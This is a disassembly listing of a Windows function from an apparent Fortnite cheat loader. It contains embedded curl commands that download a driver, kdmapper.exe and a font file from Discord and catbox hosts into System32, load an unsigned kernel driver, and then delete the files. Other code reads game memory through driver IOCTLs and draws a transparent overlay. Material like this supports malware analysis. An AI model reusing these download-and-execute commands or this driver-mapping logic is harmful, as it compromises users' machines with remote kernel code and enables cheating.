Function at 0x1400411b0
Capabilities:
Delete file
Enumerate processes
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x148]
sub rsp, 0x240
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140052040]
xor rax, rsp
mov qword [rbp + 0x120], rax
lea rcx, str.curl__https:__cdn.discordapp.com_attachments_1263645426599596164_1293915367185580053_dukedennis.otf_ex67091c17is6707ca97hm681743a411446d1716303f04ab6b576ca7b42f46779ab825121f40f4a198b70a____output__C:dukedennis.otf___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_____1_____Select_an_option:_n
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__________________________________
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_____1_____Load_Drivers____load_more_than_one_time__bsod__
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_____2_____Enable_spoofer___soon___n
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_____3_____Continue__n
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__________________________________
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___________Your_choice:
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x30]
test ecx, ecx
je 0x14004131a
sub ecx, 1
je 0x1400412bd
sub ecx, 1
je 0x140041200
cmp ecx, 1
je 0x140041347
lea rdx, str.Invalid_choice._Please_try_again.
jmp 0x140041321
lea rcx, str.curl__https:__cdn.discordapp.com_attachments_1263645426599596164_1293912723146670182_ioctl.sys_ex670919a0is6707c820hm00fd97d341c702315be65ac56976c50b384fd02949b3587f37e6b6124ba42ae7____output__C:WindowsSystem32Sctip.sys___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__https:__files.catbox.moe_qzs1i3.bin____output__C:WindowsSystem32kdmapper.exe___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.pause__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32kdmapper.exe_C:WindowsSystem32Sctip.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Sctip.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32kdmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x14004133d
lea rdx, str.Exiting_program.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400428c0
lea rdx, [0x140042aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rbp - 0x30], 0
jne 0x140041200
lea rcx, [0x14004a4cc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r14d, r14d
lea rcx, str..01922c515ad17d_e38b3ab297c868694e
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], r14d
mov edx, 0xc0000000
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140052cf8], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x1400413b9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.load_the_driver_before_opening_exe_and_open_the_exe_in_lobby.
call fcn.1400428c0
lea rdx, [0x140042aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14004140b
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x1c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14004170a
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400413e1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x140052d00], r14d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.looking_for_fortnite_procces___press_a_random_key_in_lobby__
call fcn.1400428c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov eax, dword [0x140052d00]
lea r8, [rsp + 0x70]
mov rcx, qword [0x140052cf8]
mov r9d, 0x10
mov qword [rsp + 0x38], r14
mov edx, 0x1af618c
mov dword [rsp + 0x74], eax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x28], r14
mov dword [rsp + 0x70], 0x83a5241
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp - 0x28]
lea r8, [rbp - 0x20]
mov rcx, qword [0x140052cf8]
mov r9d, 0x10
mov qword [0x140052da8], rax
mov edx, 0x2523d8c8
mov eax, dword [0x140052d00]
mov qword [rsp + 0x38], r14
mov dword [rbp - 0x1c], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x60], r14
mov dword [rbp - 0x20], 0x83a5241
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movss xmm6, dword [0x14004a744]
mov edi, r14d
mov esi, r14d
movsxd rcx, esi
add rcx, qword [0x140052da8]
mov qword [0x140052cf0], rcx
add rcx, 0x12300468
call fcn.140041fa0
mov rbx, rax
lea rcx, [rax + 0x30]
call fcn.140041fa0
test rbx, rbx
je 0x140041536
test rax, rax
je 0x140041536
lea rcx, [rax + 0xc0]
call fcn.140041fa0
cmp rax, rbx
je 0x14004154a
inc edi
add esi, 0x1000
movd xmm0, edi
cvtdq2ps xmm0, xmm0
comiss xmm6, xmm0
ja 0x1400414f2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Fortnite_addres___
call fcn.1400428c0
mov rdx, qword [0x140052da8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140042aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], 0x50
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x60], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
xorps xmm0, xmm0
lea rbx, str.Fortnite
mov edx, 0x7f00
mov qword [rbp - 0x58], rax
xor ecx, ecx
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp - 0x38], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp - 0x80]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp - 0x68]
lea r8, str.PremiumEditionLOL
mov qword [rsp + 0x58], r14
mov r9d, 0x80000000
mov qword [rsp + 0x50], rax
mov rdx, rbx
mov eax, dword [rsp + 0x6c]
xor ecx, ecx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
mov qword [0x140052d50], rax
call qword [sym.imp.USER32.dll_SetWindowLongA]
movdqa xmm0, xmmword [0x14004a7b0]
lea rdx, [rbp - 0x20]
mov rcx, qword [0x140052d50]
movdqu xmmword [rbp - 0x20], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140052d50]
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140052d50]
xor r9d, r9d
mov dword [rsp + 0x30], 3
xor r8d, r8d
mov dword [rsp + 0x28], r14d
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rcx, qword [0x140052d50]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x140052d50]
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x140052d58]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9Ex]
test eax, eax
jns 0x140041726
mov ecx, 3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 8]
mov dword [0x140052d00], eax
test eax, eax
jne 0x14004142e
jmp 0x14004141b
mov eax, dword [0x140052e04]
lea rdx, [0x140052df0]
mov rcx, qword [0x140052d58]
mov r8d, 1
mov r9, qword [0x140052d50]
mov qword [rsp + 0x38], rdx
lea rdx, [0x140052db0]
mov dword [0x140052db0], eax
mov eax, dword [0x140052e00]
mov qword [0x140052dbc], r14
mov qword [0x140052dc8], 1
mov qword [0x140052de4], r14
mov dword [0x140052dd8], 1
mov qword [0x140052dd0], r9
mov dword [0x140052dc4], r14d
mov dword [0x140052db8], 0x15
mov dword [0x140052db4], eax
mov dword [0x140052ddc], 1
mov dword [0x140052de0], 0x50
mov dword [0x140052dec], r14d
mov rax, qword [rcx]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [rax + 0xa0]
test eax, eax
jns 0x1400417f5
mov rcx, qword [0x140052d58]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400056c0
mov rbx, qword [0x140052d50]
lea rcx, [0x140052e60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400418f3
lea rcx, [0x140052e58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400418f3
mov rcx, qword [0x140052ce0]
lea rax, str.imgui_impl_win32
mov qword [0x140052e50], rbx
or dword [rcx + 0xc], 6
mov qword [rcx + 0xd8], rax
mov qword [rcx + 0x108], rbx
mov dword [rcx + 0x3c], 9
mov dword [rcx + 0x40], 0x25
mov dword [rcx + 0x44], 0x27
mov dword [rcx + 0x48], 0x26
mov dword [rcx + 0x4c], 0x28
mov dword [rcx + 0x50], 0x21
mov dword [rcx + 0x54], 0x22
mov dword [rcx + 0x58], 0x24
mov dword [rcx + 0x5c], 0x23
mov dword [rcx + 0x60], 0x2d
mov dword [rcx + 0x64], 0x2e
mov dword [rcx + 0x68], 8
mov dword [rcx + 0x6c], 0x20
mov dword [rcx + 0x70], 0xd
mov dword [rcx + 0x74], 0x1b
mov dword [rcx + 0x78], 0x41
mov dword [rcx + 0x7c], 0x43
mov dword [rcx + 0x80], 0x56
mov dword [rcx + 0x84], 0x58
mov dword [rcx + 0x88], 0x59
mov dword [rcx + 0x8c], 0x5a
jmp 0x1400418fa
mov rcx, qword [0x140052ce0]
cmp byte [0x1400520c0], r14b
mov rax, qword [0x140052df0]
je 0x140041911
mov byte [0x1400520c0], r14b
lea rdx, str.imgui_impl_dx9
mov qword [0x140052e40], rax
mov qword [rcx + 0xe0], rdx
call fcn.14001c970
movss xmm2, dword [0x14004a6e0]
mov rcx, qword [rcx + 0xa0]
call fcn.140021140
mov rcx, qword [0x140052d58]
mov rax, qword [rcx]
call qword [rax + 0x10]
call fcn.140040970
xor eax, eax
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140043030
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret